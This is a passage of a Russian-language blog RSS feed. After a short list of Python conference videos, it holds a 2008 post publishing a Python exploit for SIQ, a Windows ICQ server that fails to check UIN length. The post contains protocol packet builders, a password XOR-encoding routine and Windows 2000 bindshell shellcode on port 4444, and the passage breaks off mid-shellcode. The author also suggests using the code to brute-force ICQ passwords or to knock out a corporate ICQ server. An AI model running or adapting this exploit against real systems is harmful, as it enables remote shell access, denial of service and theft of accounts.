            <guid>http://slav0nic.org.ua/entry/145</guid>
            <description><![CDATA[<p>Нашёл в блоге у <a href="http://murkt.org.ua/blog/">Муркта</a> ссылки на долгожданное видео с <a rel="nofollow" href="http://exception.org.ua/events/exception-conference-07/">Exception #7</a>.</p>
<p>Выложено 5 докладов:</p>
<ul>
    <li><a rel="nofollow" href="http://youtube.com/watch?v=2rRwQQMXlTk">Мастер-класс по Python: Метаклассы + Дескрипторы</a></li>
    <li><a rel="nofollow" href="http://youtube.com/watch?v=30rZJbw7Ogc">Python и Django &mdash; платформа для фрилансера</a></li>
    <li><a rel="nofollow" href="http://youtube.com/watch?v=EPeYuWLvIq0">По ту сторону ООП: PEAK-Rules и PyProtocols</a></li>
    <li><a rel="nofollow" href="http://youtube.com/watch?v=gUGyTH538e0">Разработка Веб-приложений с использованием Grails</a></li>
    <li><a rel="nofollow" href="http://youtube.com/watch?v=kdD5nPsQzoo">Smalltalk &mdash; опыт применения</a></li>
</ul>
<p>Все части доступны на <a rel="nofollow" href="http://youtube.com/user/VladAdamenko">YouTube </a></p> <p>Нашёл в блоге у <a href="http://murkt.org.ua/blog/">Муркта</a> ссылки на долгожданное видео с <a rel="nofollow" href="http://exception.org.ua/events/exception-conference-07/">Exception #7</a>.</p>
<p>Выложено 5 докладов:</p>
<ul>
    <li><a rel="nofollow" href="http://youtube.com/watch?v=2rRwQQMXlTk">Мастер-класс по Python: Метаклассы + Дескрипторы</a></li>
    <li><a rel="nofollow" href="http://youtube.com/watch?v=30rZJbw7Ogc">Python и Django &mdash; платформа для фрилансера</a></li>
    <li><a rel="nofollow" href="http://youtube.com/watch?v=EPeYuWLvIq0">По ту сторону ООП: PEAK-Rules и PyProtocols</a></li>
    <li><a rel="nofollow" href="http://youtube.com/watch?v=gUGyTH538e0">Разработка Веб-приложений с использованием Grails</a></li>
    <li><a rel="nofollow" href="http://youtube.com/watch?v=kdD5nPsQzoo">Smalltalk &mdash; опыт применения</a></li>
</ul>
<p>Все части доступны на <a rel="nofollow" href="http://youtube.com/user/VladAdamenko">YouTube </a></p>]]></description>
            <tags>python,exception</tags>
            <comments>http://slav0nic.org.ua/entry/145#comments</comments>
    </item>
    <item>
            <title>SIQ (icq server for win32) exploit</title>
            <link>http://slav0nic.org.ua/entry/144</link>
            <pubDate>2008-04-26 14:41:59 </pubDate>
            <guid>http://slav0nic.org.ua/entry/144</guid>
            <description><![CDATA[<p>Года 3 назад страдал фигнёй, пытаясь написать модуль для работы с ICQ, осилил только авторизацию и потерял интерес =)
</p>
<p>Так вот, тестил я своё поделие на SIQ (http://www.kht.ru/homepage/apt/siq.htm) - простенький icq сервер от "профессионала, с большим опытом автоматизации бизнес-задач"(кстати opensource), но вот проверять длину uin'a видать не кошерно, а вот и зря..., как раз в то время страдал написанием сплойтов и тп ерундой, ниже код с PoC с биндшеллов для win2ksp4ru ( ну как минимум DoS сплойт отправляющий сервер авторизации SIQAuth в даун В) )
</p>
<p>Код никакой ценности не несёт, а вотм мне он дорог как память =), может кому будет интересно (хотя как модуль для перебора паролей к icq либо как убийца корпоративной аси и сгодитя):
</p> <div class="codehilite"><pre><span class="c"># SIQ (www.kht.ru/homepage/apt/siq.htm) exploit </span>
<span class="c">#Coded by slav0nic (http://slav0nic.org.ua)</span>

<span class="k">import</span> <span class="nn">struct</span>
<span class="k">from</span> <span class="nn">socket</span> <span class="k">import</span> <span class="o">*</span>
<span class="k">from</span> <span class="nn">random</span> <span class="k">import</span> <span class="o">*</span>

<span class="sd">&quot;&quot;&quot;</span>
<span class="sd">word == 2 bytes ;)</span>
<span class="sd">FLAP (6 bytes):</span>
<span class="sd">    CS - Command Start (byte)  </span>
<span class="sd">    CH - Channel    (byte)</span>
<span class="sd">    SN - Sequence Number (word) random </span>
<span class="sd">    L - Data Field Length (word)</span>
<span class="sd">SNACs:</span>
<span class="sd">--------------------------------    </span>
<span class="sd">    D - Data (L)  </span>
<span class="sd">     \_</span>
<span class="sd">      | TLV_id (word)</span>
<span class="sd">      | TLV_len (word)</span>
<span class="sd">      | TLV_data (TLV_len)</span>
<span class="sd">      |.......</span>
<span class="sd">&quot;&quot;&quot;</span>
<span class="c">#Constants</span>
<span class="c">#   TLV</span>

<span class="n">TLV_UIN</span> <span class="o">=</span> <span class="mf">1</span>
<span class="n">TLV_PWD</span> <span class="o">=</span> <span class="mf">2</span>
<span class="n">TLV_VERSION</span><span class="o">=</span> <span class="mf">3</span>
<span class="n">TLV_ERROR</span> <span class="o">=</span> <span class="mf">4</span>
<span class="n">TLV_REDIR</span> <span class="o">=</span> <span class="mf">5</span>
<span class="n">TLV_COOKIE</span> <span class="o">=</span> <span class="mf">6</span>
<span class="n">TLV_COUNTRY</span> <span class="o">=</span> <span class="mf">14</span>
<span class="n">TLV_LANG</span> <span class="o">=</span> <span class="mf">15</span>
<span class="c">#---------------------------------</span>
<span class="c">#   Channels</span>
<span class="n">CH_LOGIN</span> <span class="o">=</span> <span class="mf">1</span>
<span class="n">CH_SNAC</span> <span class="o">=</span> <span class="mf">2</span>
<span class="n">CH_ERROR</span> <span class="o">=</span> <span class="mf">3</span>
<span class="n">CH_LOGOUT</span> <span class="o">=</span> <span class="mf">4</span>


<span class="n">HELLO</span> <span class="o">=</span> <span class="s">&quot;</span><span class="se">\x00\x00\x00\x01</span><span class="s">&quot;</span>
<span class="n">FLAP_START</span> <span class="o">=</span> <span class="s">&quot;2a&quot;</span>

<span class="n">DBG</span> <span class="o">=</span> <span class="mf">1</span>

<span class="k">def</span> <span class="nf">get_hello</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
    <span class="s">&quot;get FLAP</span><span class="se">\x00\x00\x00\x01</span><span class="s">&quot;</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mf">10</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">data</span><span class="p">[</span><span class="o">-</span><span class="mf">4</span><span class="p">:]</span> <span class="o">==</span> <span class="s">&quot;</span><span class="se">\x00\x00\x00\x01</span><span class="s">&quot;</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">True</span>                
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>


<span class="k">def</span> <span class="nf">get_length</span><span class="p">(</span><span class="n">hex_</span><span class="p">):</span>
    <span class="sd">&quot;&quot;&quot;</span>
<span class="sd">     hexed string -&gt;int</span>
<span class="sd">     return int</span>
<span class="sd">    &quot;&quot;&quot;</span>

    <span class="n">tmp</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">x</span><span class="p">)),</span><span class="nb">tuple</span><span class="p">(</span><span class="n">hex_</span><span class="p">)))</span>   <span class="c">#convert hex-&gt;ascii and join</span>
    <span class="n">tmp</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="o">=</span><span class="nb">int</span><span class="p">(</span><span class="n">tmp</span><span class="p">[</span><span class="mf">0</span><span class="p">])</span><span class="o">*</span><span class="mf">256</span>  
    <span class="n">_int</span><span class="o">=</span><span class="n">tmp</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="o">+</span><span class="nb">int</span><span class="p">(</span><span class="n">tmp</span><span class="p">[</span><span class="mf">1</span><span class="p">])</span>
    <span class="k">return</span> <span class="n">_int</span>                                         <span class="c">#exmpl. 01 0a = 266</span>

<span class="k">def</span> <span class="nf">tohex</span><span class="p">(</span><span class="n">str_</span><span class="p">):</span>
    <span class="sd">&quot;&quot;&quot;</span>
<span class="sd">    Use for debug</span>
<span class="sd">        str-&gt;hex</span>
<span class="sd">        return ([hex], str)</span>
<span class="sd">    &quot;&quot;&quot;</span>

    <span class="n">hex_</span><span class="o">=</span> <span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="s">&quot;</span><span class="si">%.2x</span><span class="s">&quot;</span><span class="o">%</span><span class="nb">ord</span><span class="p">(</span><span class="n">x</span><span class="p">),</span><span class="nb">tuple</span><span class="p">(</span><span class="n">str_</span><span class="p">))</span>
    <span class="n">text</span> <span class="o">=</span><span class="s">&quot; &quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">hex_</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">hex_</span><span class="p">,</span> <span class="n">text</span>

<span class="k">def</span> <span class="nf">make_flap</span><span class="p">(</span><span class="n">channel</span><span class="p">,</span><span class="n">data</span><span class="p">):</span>

    <span class="n">l</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="n">fmt</span> <span class="o">=</span> <span class="s">&#39;!BBhh </span><span class="si">%d</span><span class="s">s&#39;</span> <span class="o">%</span><span class="n">l</span>
    <span class="k">return</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="n">fmt</span><span class="p">,</span><span class="mf">0</span><span class="n">x2a</span><span class="p">,</span><span class="n">channel</span><span class="p">,</span><span class="n">randrange</span><span class="p">(</span><span class="mf">0</span><span class="n">xFFFF</span><span class="p">),</span><span class="n">l</span><span class="p">,</span><span class="n">data</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">tlv_make</span><span class="p">(</span><span class="n">TLV_id</span><span class="p">,</span> <span class="n">TLV_data</span><span class="p">):</span>
    <span class="sd">&quot;&quot;&quot;return tlv-encoded string&quot;&quot;&quot;</span>
    <span class="n">l</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">TLV_data</span><span class="p">)</span>
    <span class="n">fmt</span> <span class="o">=</span> <span class="s">&#39;!hh </span><span class="si">%d</span><span class="s">s&#39;</span> <span class="o">%</span> <span class="n">l</span>
    <span class="k">return</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="n">fmt</span><span class="p">,</span> <span class="n">TLV_id</span><span class="p">,</span> <span class="n">l</span><span class="p">,</span> <span class="n">TLV_data</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">parse_tlv</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="sd">&quot;&quot;&quot;</span>
<span class="sd">    received data -&gt; tvl_info{}</span>
<span class="sd">    &quot;&quot;&quot;</span>
    <span class="n">tlv_info</span> <span class="o">=</span> <span class="p">{}</span>
    <span class="k">while</span> <span class="mf">1</span><span class="p">:</span>
        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">&lt;</span><span class="mf">4</span><span class="p">:</span> <span class="k">break</span>
        <span class="n">tlv_id</span>  <span class="o">=</span> <span class="n">get_length</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mf">0</span><span class="p">:</span><span class="mf">2</span><span class="p">])</span>   <span class="c">#get tlv id (word)</span>
        <span class="n">tlv_len</span> <span class="o">=</span> <span class="n">get_length</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mf">2</span><span class="p">:</span><span class="mf">4</span><span class="p">])</span>  <span class="c">#and len    (word)       </span>
        <span class="n">tlv_info</span><span class="p">[</span><span class="n">tlv_id</span><span class="p">]</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mf">4</span><span class="p">:</span><span class="mf">4</span><span class="o">+</span><span class="n">tlv_len</span><span class="p">]</span>
        <span class="n">data</span>    <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mf">4</span><span class="o">+</span><span class="n">tlv_len</span><span class="p">:]</span>  <span class="c">#remove parsed data</span>
    <span class="k">return</span> <span class="n">tlv_info</span>

<span class="k">def</span> <span class="nf">make_snac</span><span class="p">(</span><span class="n">family</span><span class="p">,</span> <span class="n">subtype</span><span class="p">,</span> <span class="n">flags</span><span class="p">,</span> <span class="n">req_id</span><span class="p">):</span>
    <span class="n">fmt</span><span class="o">=</span><span class="s">&quot;!hhhl&quot;</span>
    <span class="k">return</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="n">fmt</span><span class="p">,</span><span class="n">family</span><span class="p">,</span> <span class="n">subtype</span><span class="p">,</span> <span class="n">flags</span><span class="p">,</span> <span class="n">req_id</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">parse_flap</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="n">hex_data</span> <span class="o">=</span> <span class="n">tohex</span><span class="p">(</span><span class="n">data</span><span class="p">)[</span><span class="mf">0</span><span class="p">]</span>
    <span class="n">CS</span> <span class="o">=</span> <span class="n">hex_data</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span>
    <span class="k">if</span> <span class="n">CS</span> <span class="o">!=</span> <span class="n">FLAP_START</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">DBG</span><span class="p">:</span> <span class="k">print</span> <span class="s">&quot;[-]Protocol error.&quot;</span>
    <span class="n">CH</span> <span class="o">=</span> <span class="n">hex_data</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span>
    <span class="n">SN</span> <span class="o">=</span> <span class="s">&quot;&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">hex_data</span><span class="p">[</span><span class="mf">2</span><span class="p">:</span><span class="mf">4</span><span class="p">])</span>
    <span class="n">L</span> <span class="o">=</span> <span class="s">&quot;&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">hex_data</span><span class="p">[</span><span class="mf">4</span><span class="p">:</span><span class="mf">6</span><span class="p">])</span>
    <span class="n">data_size</span><span class="o">=</span><span class="n">get_length</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mf">4</span><span class="p">:</span><span class="mf">6</span><span class="p">])</span>
    <span class="n">D</span> <span class="o">=</span> <span class="s">&quot;&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">hex_data</span><span class="p">[</span><span class="mf">6</span><span class="p">:</span><span class="mf">6</span><span class="o">+</span><span class="n">data_size</span><span class="p">])</span>
    <span class="n">tlv_info</span> <span class="o">=</span> <span class="n">parse_tlv</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="mf">6</span><span class="p">:</span><span class="mf">6</span><span class="o">+</span><span class="n">data_size</span><span class="p">])</span>
    <span class="k">print</span> <span class="n">tlv_info</span>
    <span class="c">#LOGIN</span>
    <span class="k">if</span> <span class="n">tlv_info</span><span class="o">.</span><span class="n">has_key</span><span class="p">(</span><span class="n">TLV_REDIR</span><span class="p">):</span>
        <span class="n">ip_port</span><span class="o">=</span><span class="n">tlv_info</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">TLV_REDIR</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">tlv_info</span><span class="o">.</span><span class="n">has_key</span><span class="p">(</span><span class="n">TLV_COOKIE</span><span class="p">):</span>
            <span class="n">cookie</span> <span class="o">=</span> <span class="n">tlv_info</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">TLV_COOKIE</span><span class="p">)</span>
        <span class="n">ip</span><span class="p">,</span> <span class="n">port</span> <span class="o">=</span> <span class="n">ip_port</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&quot;:&quot;</span><span class="p">)</span>
        <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">)</span>
   <span class="c">#     s.settimeout(3)                 #DBG</span>
        <span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="n">ip</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">)))</span>

        <span class="n">packet</span><span class="o">=</span><span class="s">&quot;</span><span class="se">\x2a\x01</span><span class="s">&quot;</span><span class="o">+</span>\
                <span class="s">&quot;</span><span class="se">\x20\x04\x01\x08\x00\x00\x00\x01</span><span class="s">&quot;</span><span class="o">+</span>\
                <span class="n">tlv_make</span><span class="p">(</span><span class="mf">6</span><span class="p">,</span><span class="n">cookie</span><span class="p">)</span>
        <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">packet</span><span class="p">)</span>
        <span class="n">get_hello</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
        <span class="n">rec</span><span class="o">=</span><span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mf">1024</span><span class="p">)</span>

        <span class="k">print</span> <span class="s">&quot;</span><span class="se">\n\n</span><span class="s">rec &quot;</span><span class="p">,</span><span class="n">tohex</span><span class="p">(</span><span class="n">rec</span><span class="p">)[</span><span class="mf">1</span><span class="p">]</span>
        <span class="n">packet</span><span class="o">=</span><span class="n">make_flap</span><span class="p">(</span><span class="n">CH_SNAC</span><span class="p">,</span><span class="n">make_snac</span><span class="p">(</span><span class="mf">0</span><span class="n">x1</span><span class="p">,</span> <span class="mf">0</span><span class="n">x17</span><span class="p">,</span> <span class="mf">0</span><span class="p">,</span> <span class="mf">0</span><span class="p">)</span><span class="o">+</span>\
                         <span class="s">&quot;</span><span class="se">\x00\x01\x00\x04\x00\x13\x00\x04\x00\x02</span><span class="s">&quot;</span><span class="o">+</span>\
                         <span class="s">&quot;</span><span class="se">\x00\x01\x00\x03\x00\x01\x00\x01\x00\x15</span><span class="s">&quot;</span><span class="o">+</span>\
                         <span class="s">&quot;</span><span class="se">\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01</span><span class="s">&quot;</span><span class="o">+</span>\
                         <span class="s">&quot;</span><span class="se">\x00\x09\x00\x01\x00\x0a\x00\x01\x00\x0b\x00\x01</span><span class="s">&quot;</span><span class="p">)</span>
        <span class="n">s</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">packet</span><span class="p">)</span>
        <span class="n">rec</span><span class="o">=</span><span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mf">1024</span><span class="p">)</span>
        <span class="k">print</span> <span class="s">&quot;</span><span class="se">\n\n</span><span class="s">&quot;</span><span class="p">,</span><span class="n">tohex</span><span class="p">(</span><span class="n">rec</span><span class="p">)[</span><span class="mf">1</span><span class="p">]</span>


    <span class="k">if</span> <span class="n">DBG</span><span class="p">:</span>
        <span class="k">print</span> <span class="s">&quot;</span><span class="se">\n</span><span class="s">CS=</span><span class="si">%s</span><span class="s"> CH=</span><span class="si">%s</span><span class="s"> SN=</span><span class="si">%s</span><span class="s"> L=</span><span class="si">%s</span><span class="s"> </span><span class="se">\n</span><span class="s">D=</span><span class="si">%s</span><span class="s">&quot;</span>\
              <span class="o">%</span><span class="p">(</span><span class="n">CS</span><span class="p">,</span> <span class="n">CH</span><span class="p">,</span> <span class="n">SN</span><span class="p">,</span> <span class="n">L</span><span class="p">,</span> <span class="n">D</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">make_pass</span><span class="p">(</span><span class="n">str_</span><span class="p">):</span>
    <span class="sd">&quot;&quot;&quot;</span>
<span class="sd">       encode string to password</span>
<span class="sd">       len(password) &lt;= 16</span>
<span class="sd">       return binary string</span>
<span class="sd">    &quot;&quot;&quot;</span>
    <span class="n">roasting_array</span> <span class="o">=</span> <span class="p">(</span> <span class="mf">0</span><span class="n">xF3</span><span class="p">,</span> <span class="mf">0</span><span class="n">x26</span><span class="p">,</span> <span class="mf">0</span><span class="n">x81</span><span class="p">,</span> <span class="mf">0</span><span class="n">xC4</span><span class="p">,</span>
                       <span class="mf">0</span><span class="n">x39</span><span class="p">,</span> <span class="mf">0</span><span class="n">x86</span><span class="p">,</span> <span class="mf">0</span><span class="n">xDB</span><span class="p">,</span> <span class="mf">0</span><span class="n">x92</span><span class="p">,</span>
                       <span class="mf">0</span><span class="n">x71</span><span class="p">,</span> <span class="mf">0</span><span class="n">xA3</span><span class="p">,</span> <span class="mf">0</span><span class="n">xB9</span><span class="p">,</span> <span class="mf">0</span><span class="n">xE6</span><span class="p">,</span>
                       <span class="mf">0</span><span class="n">x53</span><span class="p">,</span> <span class="mf">0</span><span class="n">x7A</span><span class="p">,</span> <span class="mf">0</span><span class="n">x95</span><span class="p">,</span> <span class="mf">0</span><span class="n">x7C</span><span class="p">)</span>
    <span class="n">passwrd</span> <span class="o">=</span><span class="s">&quot;&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">char</span><span class="p">,</span> <span class="n">roast_byte</span><span class="p">:</span> <span class="s">&quot;</span><span class="si">%c</span><span class="s">&quot;</span><span class="o">%</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">char</span><span class="p">)</span><span class="o">^</span><span class="p">(</span><span class="n">roast_byte</span><span class="p">)),</span> <span class="nb">tuple</span><span class="p">(</span><span class="n">str_</span><span class="p">),</span> <span class="n">roasting_array</span><span class="p">[:</span><span class="nb">len</span><span class="p">(</span><span class="n">str_</span><span class="p">)]))</span>
    <span class="k">return</span> <span class="n">passwrd</span>

<span class="k">def</span> <span class="nf">login</span><span class="p">(</span><span class="n">uin</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
    <span class="sd">&quot;&quot;&quot;</span>
<span class="sd">    uin and password - string</span>
<span class="sd">    return True if logged</span>
<span class="sd">    &quot;&quot;&quot;</span>
    <span class="n">serverHost</span> <span class="o">=</span> <span class="s">&quot;127.0.0.1&quot;</span> <span class="c">#login.icq.com</span>
    <span class="n">serverPort</span> <span class="o">=</span> <span class="mf">5190</span>   
    <span class="n">message</span> <span class="o">=</span> <span class="n">make_flap</span><span class="p">(</span><span class="n">CH_LOGIN</span><span class="p">,</span><span class="n">HELLO</span> <span class="o">+</span>\
          <span class="n">tlv_make</span><span class="p">(</span><span class="n">TLV_UIN</span><span class="p">,</span> <span class="n">uin</span><span class="p">)</span><span class="o">+</span>\
          <span class="n">tlv_make</span><span class="p">(</span><span class="n">TLV_PWD</span><span class="p">,</span> <span class="n">make_pass</span><span class="p">(</span><span class="n">password</span><span class="p">))</span><span class="o">+</span>\
          <span class="n">tlv_make</span><span class="p">(</span><span class="n">TLV_VERSION</span><span class="p">,</span> <span class="s">&quot;3ICQ Inc. - Product of ICQ (TM).2003a.5.47.1.3800.85&quot;</span><span class="p">)</span><span class="o">+</span>\
          <span class="n">tlv_make</span><span class="p">(</span><span class="mf">16</span><span class="p">,</span> <span class="s">&quot;</span><span class="se">\x01\x0a</span><span class="s">&quot;</span><span class="p">)</span><span class="o">+</span>\
          <span class="n">tlv_make</span><span class="p">(</span><span class="mf">17</span><span class="p">,</span> <span class="s">&quot;</span><span class="se">\x00\x03</span><span class="s">&quot;</span><span class="p">)</span><span class="o">+</span>\
          <span class="n">tlv_make</span><span class="p">(</span><span class="mf">18</span><span class="p">,</span> <span class="s">&quot;</span><span class="se">\x00\x03</span><span class="s">&quot;</span><span class="p">)</span><span class="o">+</span>\
          <span class="n">tlv_make</span><span class="p">(</span><span class="mf">19</span><span class="p">,</span> <span class="s">&quot;</span><span class="se">\x00\x01</span><span class="s">&quot;</span><span class="p">)</span><span class="o">+</span>\
          <span class="n">tlv_make</span><span class="p">(</span><span class="mf">0</span><span class="n">x1a</span><span class="p">,</span> <span class="s">&quot;</span><span class="se">\x0e\xd8</span><span class="s">&quot;</span><span class="p">)</span><span class="o">+</span>\
          <span class="n">tlv_make</span><span class="p">(</span><span class="mf">0</span><span class="n">x14</span><span class="p">,</span> <span class="s">&quot;</span><span class="se">\x00\x00\x00\x55</span><span class="s">&quot;</span><span class="p">)</span><span class="o">+</span>\
          <span class="n">tlv_make</span><span class="p">(</span><span class="n">TLV_LANG</span><span class="p">,</span> <span class="s">&quot;ru&quot;</span><span class="p">)</span><span class="o">+</span>\
          <span class="n">tlv_make</span><span class="p">(</span><span class="n">TLV_COUNTRY</span><span class="p">,</span> <span class="s">&quot;ru&quot;</span><span class="p">))</span>
    <span class="n">sockobj</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">)</span>
    <span class="n">sockobj</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="n">serverHost</span><span class="p">,</span> <span class="n">serverPort</span><span class="p">))</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">sockobj</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mf">1024</span><span class="p">)</span>    <span class="c">#get hello msg (test packet)       </span>
    <span class="k">if</span> <span class="n">DBG</span><span class="p">:</span>  <span class="k">print</span> <span class="s">&quot;&lt;&lt;&quot;</span><span class="p">,</span><span class="n">tohex</span><span class="p">(</span><span class="n">data</span><span class="p">)[</span><span class="mf">1</span><span class="p">]</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">tohex</span><span class="p">(</span><span class="n">data</span><span class="p">)[</span><span class="mf">1</span><span class="p">][</span><span class="mf">0</span><span class="p">:</span><span class="mf">2</span><span class="p">]</span> <span class="o">==</span> <span class="n">FLAP_START</span><span class="p">)</span> <span class="ow">and</span> <span class="n">HELLO</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">DBG</span><span class="p">:</span>  <span class="k">print</span> <span class="s">&quot;[+]Connected&quot;</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">print</span> <span class="s">&quot;[-]Server error. Can&#39;t get test FLAP&quot;</span>
        <span class="n">sockobj</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
    <span class="k">if</span> <span class="n">DBG</span><span class="p">:</span> <span class="k">print</span> <span class="s">&quot;-&gt;&quot;</span><span class="p">,</span><span class="n">tohex</span><span class="p">(</span><span class="n">message</span><span class="p">)[</span><span class="mf">1</span><span class="p">]</span>
  <span class="c">#  sockobj.settimeout(10)  #DBG</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">sockobj</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">message</span><span class="p">)</span>
        <span class="n">data</span> <span class="o">=</span> <span class="n">sockobj</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mf">1024</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">DBG</span><span class="p">:</span> <span class="k">print</span> <span class="s">&quot;&lt;&lt;&quot;</span><span class="p">,</span><span class="n">tohex</span><span class="p">(</span><span class="n">data</span><span class="p">)[</span><span class="mf">1</span><span class="p">]</span>
        <span class="n">parse_flap</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="k">return</span> <span class="bp">True</span>


<span class="k">if</span> <span class="n">__name__</span><span class="o">==</span><span class="s">&quot;__main__&quot;</span><span class="p">:</span>
    <span class="s">&quot;bindshell 4444 shellcode for  win2ksp4ru&quot;</span>
    <span class="n">sc</span> <span class="o">=</span> <span class="s">&quot;</span><span class="se">\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44</span><span class="s">&quot;</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7</span><span class="s">&quot;</span>
